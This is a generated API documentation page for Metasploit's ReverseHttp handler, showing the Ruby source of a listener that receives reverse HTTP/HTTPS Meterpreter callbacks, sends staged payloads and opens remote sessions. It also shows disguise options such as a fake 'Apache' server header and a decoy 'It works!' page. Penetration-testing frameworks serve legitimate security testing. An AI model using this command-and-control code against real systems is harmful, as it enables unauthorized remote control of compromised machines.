Module: Msf::Handler::ReverseHttp

Includes:
Msf::Handler, Reverse, Msf::Handler::Reverse::Comm, Payload::Windows::VerifySsl, Rex::Payloads::Meterpreter::UriChecksum
Included in:
ReverseHttps
Defined in:
lib/msf/core/handler/reverse_http.rb

Overview

This handler implements the HTTP SSL tunneling interface.

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Constants included from Msf::Handler

Claimed, Unused

Instance Attribute Summary collapse

Attributes included from Msf::Handler

#exploit_config, #parent_payload, #pending_connections, #session_waiter_event, #sessions

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Payload::Windows::VerifySsl

#get_ssl_cert_hash

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Msf::Handler::Reverse::Comm

#select_comm, #via_string

Methods included from Reverse

#bind_addresses, #bind_port, #is_loopback_address?

Methods included from Msf::Handler

#add_handler, #cleanup_handler, #create_session, #handle_connection, #handler, #handler_name, #interrupt_wait_for_session, #register_session, #start_handler, #wait_for_session, #wfs_delay

Instance Attribute Details

#serviceObject

:nodoc:



268
269
270
# File 'lib/msf/core/handler/reverse_http.rb', line 268

def service
  @service
end

Class Method Details

.general_handler_typeObject

Returns the connection-described general handler type, in this case ‘tunnel’.



36
37
38
# File 'lib/msf/core/handler/reverse_http.rb', line 36

def self.general_handler_type
  "tunnel"
end

.handler_typeObject

Returns the string representation of the handler type



28
29
30
# File 'lib/msf/core/handler/reverse_http.rb', line 28

def self.handler_type
  return 'reverse_http'
end

Instance Method Details

#comm_stringObject



161
162
163
164
165
166
167
# File 'lib/msf/core/handler/reverse_http.rb', line 161

def comm_string
  if self.service.listener.nil?
    "(setting up)"
  else
    via_string(self.service.listener.client) if self.service.listener.respond_to?(:client)
  end
end

#initialize(info = {}) ⇒ Object

Initializes the HTTP SSL tunneling handler.



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'lib/msf/core/handler/reverse_http.rb', line 43

def initialize(info = {})
  super

  register_options(
    [
      OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
      OptPort.new('LPORT', [true, 'The local listener port', 8080]),
      OptString.new('LURI', [false, 'The HTTP Path', ''])
    ], Msf::Handler::ReverseHttp)

  register_advanced_options(
    [
      OptAddress.new('ReverseListenerBindAddress',
        'The specific IP address to bind to on the local system'
      ),
      OptBool.new('OverrideRequestHost',
        'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
      ),
      OptString.new('OverrideLHOST',
        'When OverrideRequestHost is set, use this value as the host name for secondary requests'
      ),
      OptPort.new('OverrideLPORT',
        'When OverrideRequestHost is set, use this value as the port number for secondary requests'
      ),
      OptString.new('OverrideScheme',
        'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
      ),
      OptString.new('HttpUserAgent',
        'The user-agent that the payload should use for communication',
        default: Rex::UserAgent.random,
        aliases: ['MeterpreterUserAgent'],
        max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
      ),
      OptString.new('HttpServerName',
        'The server header that the handler will send in response to requests',
        default: 'Apache',
        aliases: ['MeterpreterServerName']
      ),
      OptString.new('HttpUnknownRequestResponse',
        'The returned HTML response body when the handler receives a request that is not from a payload',
        default: '<html><body><h1>It works!</h1></body></html>'
      ),
      OptBool.new('IgnoreUnknownPayloads',
        'Whether to drop connections from payloads using unknown UUIDs'
      )
    ], Msf::Handler::ReverseHttp)
end

#listener_uri(addr = ) ⇒ String

A URI describing where we are listening

Parameters:

  • addr (String) (defaults to: )

    the address that

Returns:

  • (String)

    A URI of the form scheme://host:port/



103
104
105
106
107
# File 'lib/msf/core/handler/reverse_http.rb', line 103

def listener_uri(addr=datastore['ReverseListenerBindAddress'])
  addr = datastore['LHOST'] if addr.nil? || addr.empty?
  uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
  "#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end

#lookup_proxy_settingsObject (protected)

Parses the proxy settings and returns a hash



275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
# File 'lib/msf/core/handler/reverse_http.rb', line 275

def lookup_proxy_settings
  info = {}
  return @proxy_settings if @proxy_settings

  if datastore['HttpProxyHost'].to_s == ''
    @proxy_settings = info
    return @proxy_settings
  end

  info[:host] = datastore['HttpProxyHost'].to_s
  info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
  info[:type] = datastore['HttpProxyType'].to_s

  uri_host = info[:host]

  if Rex::Socket.is_ipv6?(uri_host)
    uri_host = "[#{info[:host]}]"
  end

  info[:info] = "#{uri_host}:#{info[:port]}"

  if info[:type] == "SOCKS"
    info[:info] = "socks=#{info[:info]}"
  else
    info[:info] = "http://#{info[:info]}"
    if datastore['HttpProxyUser'].to_s != ''
      info[:username] = datastore['HttpProxyUser'].to_s
    end
    if datastore['HttpProxyPass'].to_s != ''
      info[:password] = datastore['HttpProxyPass'].to_s
    end
  end

  @proxy_settings = info
end

#luriString

The local URI for the handler.

Returns:

  • (String)

    Representation of the URI to listen on.



186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
# File 'lib/msf/core/handler/reverse_http.rb', line 186

def luri
  l = datastore['LURI'] || ""

  if l && l.length > 0
    # strip trailing slashes
    while l[-1, 1] == '/'
      l = l[0...-1]
    end

    # make sure the luri has the prefix
    if l[0, 1] != '/'
      l = "/#{l}"
    end

  end

  l.dup
end

#on_request(cli, req) ⇒ Object (protected)

Parses the HTTPS request



314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
# File 'lib/msf/core/handler/reverse_http.rb', line 314

def on_request(cli, req)
  Thread.current[:cli] = cli
  resp = Rex::Proto::Http::Response.new
  info = process_uri_resource(req.relative_resource)
  uuid = info[:uuid]

  if uuid
    # Configure the UUID architecture and payload if necessary
    uuid.arch      ||= self.arch
    uuid.platform  ||= self.platform

    conn_id = luri
    if info[:mode] && info[:mode] != :connect
      conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
    else
      conn_id << req.relative_resource
      conn_id = conn_id.chomp('/')
    end

    request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"

    # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
    if framework.db.active
      db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first
    else
      print_warning('Without a database connected that payload UUID tracking will not work!')
    end
    if datastore['IgnoreUnknownPayloads'] && !db_uuid
      print_status("Ignoring unknown UUID: #{request_summary}")
      info[:mode] = :unknown_uuid
    end

    # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
    if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
      allowed_urls = db_uuid ? db_uuid['urls'] : []
      unless allowed_urls && allowed_urls.include?(req.relative_resource.chomp('/'))
        print_status("Ignoring unknown UUID URL: #{request_summary}")
        info[:mode] = :unknown_uuid_url
      end
    end

    url = payload_uri(req) + conn_id
    url << '/' unless url[-1] == '/'

  else
    info[:mode] = :unknown
  end

  self.pending_connections += 1

  resp.body = ''
  resp.code = 200
  resp.message = 'OK'

  # Process the requested resource.
  case info[:mode]
    when :init_connect
      print_status("Redirecting stageless connection from #{request_summary}")

      # Handle the case where stageless payloads call in on the same URI when they
      # first connect. From there, we tell them to callback on a connect URI that
      # was generated on the fly. This means we form a new session for each.

      # Hurl a TLV back at the caller, and ignore the response
      pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
      pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
      resp.body = pkt.to_r

    when :init_python, :init_native, :init_java, :connect
      # TODO: at some point we may normalise these three cases into just :init

      if info[:mode] == :connect
        print_status("Attaching orphaned/stageless session...")
      else
        begin
          blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
          blob = encode_stage(blob) if self.respond_to?(:encode_stage)
          # remove this when we make http payloads prepend stage sizes by default
          if defined?(read_stage_size?) && read_stage_size?
            print_status("Appending Stage Size For HTTP[S]...")
            blob = [ blob.length ].pack('V') + blob
          end

          print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")

          resp['Content-Type'] = 'application/octet-stream'
          resp.body = blob

        rescue NoMethodError => e
          print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.')
          elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
          return
        end
      end

      create_session(cli, {
        :passive_dispatcher => self.service,
        :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],
        :conn_id            => conn_id,
        :url                => url,
        :expiration         => datastore['SessionExpirationTimeout'].to_i,
        :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,
        :retry_total        => datastore['SessionRetryTotal'].to_i,
        :retry_wait         => datastore['SessionRetryWait'].to_i,
        :ssl                => ssl?,
        :payload_uuid       => uuid
      })

    else
      unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
        print_status("Unknown request to #{request_summary}")
      end
      resp.body    = datastore['HttpUnknownRequestResponse'].to_s
      self.pending_connections -= 1
  end

  cli.send_response(resp) if (resp)

  # Force this socket to be closed
  self.service.close_client(cli)
end

#payload_uri(req = nil) ⇒ String

Return a URI suitable for placing in a payload.

Host will be properly wrapped in square brackets, [], for ipv6 addresses.

Parameters:

Returns:

  • (String)

    A URI of the form scheme://host:port/



116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# File 'lib/msf/core/handler/reverse_http.rb', line 116

def payload_uri(req=nil)
  callback_host = nil
  callback_scheme = nil

  # Extract whatever the client sent us in the Host header
  if req && req.headers && req.headers['Host']
    cburi = URI("#{scheme}://#{req.headers['Host']}")
    callback_host = cburi.host
    callback_port = cburi.port
  end

  # Override the host and port as appropriate
  if datastore['OverrideRequestHost'] || callback_host.nil?
    callback_host = datastore['OverrideLHOST']
    callback_port = datastore['OverrideLPORT']
    callback_scheme = datastore['OverrideScheme']
  end

  if callback_host.nil? || callback_host.empty?
    callback_host = datastore['LHOST']
  end

  if callback_port.nil? || callback_port.zero?
    callback_port = datastore['LPORT']
  end

  if callback_scheme.nil? || callback_scheme.empty?
    callback_scheme = scheme
  end

  if Rex::Socket.is_ipv6? callback_host
    callback_host = "[#{callback_host}]"
  end

  if callback_host.nil?
    raise ArgumentError, "No host specified for payload_uri"
  end

  if callback_port
    "#{callback_scheme}://#{callback_host}:#{callback_port}"
  else
    "#{callback_scheme}://#{callback_host}"
  end
end


91
92
93
94
95
96
97
# File 'lib/msf/core/handler/reverse_http.rb', line 91

def print_prefix
  if Thread.current[:cli]
    super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
  else
    super
  end
end

#schemeString

URI scheme

Returns:

  • (String)

    One of "http" or "https" depending on whether we are using SSL



179
180
181
# File 'lib/msf/core/handler/reverse_http.rb', line 179

def scheme
  (ssl?) ? 'https' : 'http'
end

#setup_handlervoid

This method returns an undefined value.

Create an HTTP listener



208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
# File 'lib/msf/core/handler/reverse_http.rb', line 208

def setup_handler

  local_addr = nil
  local_port = bind_port
  ex = false
  comm = select_comm

  # Start the HTTPS server service on this host/port
  bind_addresses.each do |ip|
    begin
      self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
        local_port, ip, ssl?,
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        },
        comm,
        (ssl?) ? datastore['HandlerSSLCert'] : nil, nil, nil, datastore['SSLVersion']
      )
      local_addr = ip
    rescue
      ex = $!
      print_error("Handler failed to bind to #{ip}:#{local_port}")
    else
      ex = false
      break
    end
  end

  raise ex if (ex)

  self.service.server_name = datastore['HttpServerName']

  # Add the new resource
  service.add_resource((luri + "/").gsub("//", "/"),
    'Proc' => Proc.new { |cli, req|
      on_request(cli, req)
    },
    'VirtualDirectory' => true)

  print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
  lookup_proxy_settings

  if datastore['IgnoreUnknownPayloads']
    print_status("Handler is ignoring unknown payloads")
  end
end

#ssl?Boolean

Use the #refname to determine whether this handler uses SSL or not

Returns:

  • (Boolean)


171
172
173
# File 'lib/msf/core/handler/reverse_http.rb', line 171

def ssl?
  !!(self.refname.index('https'))
end

#stop_handlerObject

Removes the / handler, possibly stopping the service if no sessions are active on sub-urls.



260
261
262
263
264
265
266
# File 'lib/msf/core/handler/reverse_http.rb', line 260

def stop_handler
  if self.service
    self.service.remove_resource((luri + "/").gsub("//", "/"))
    self.service.deref
    self.service = nil
  end
end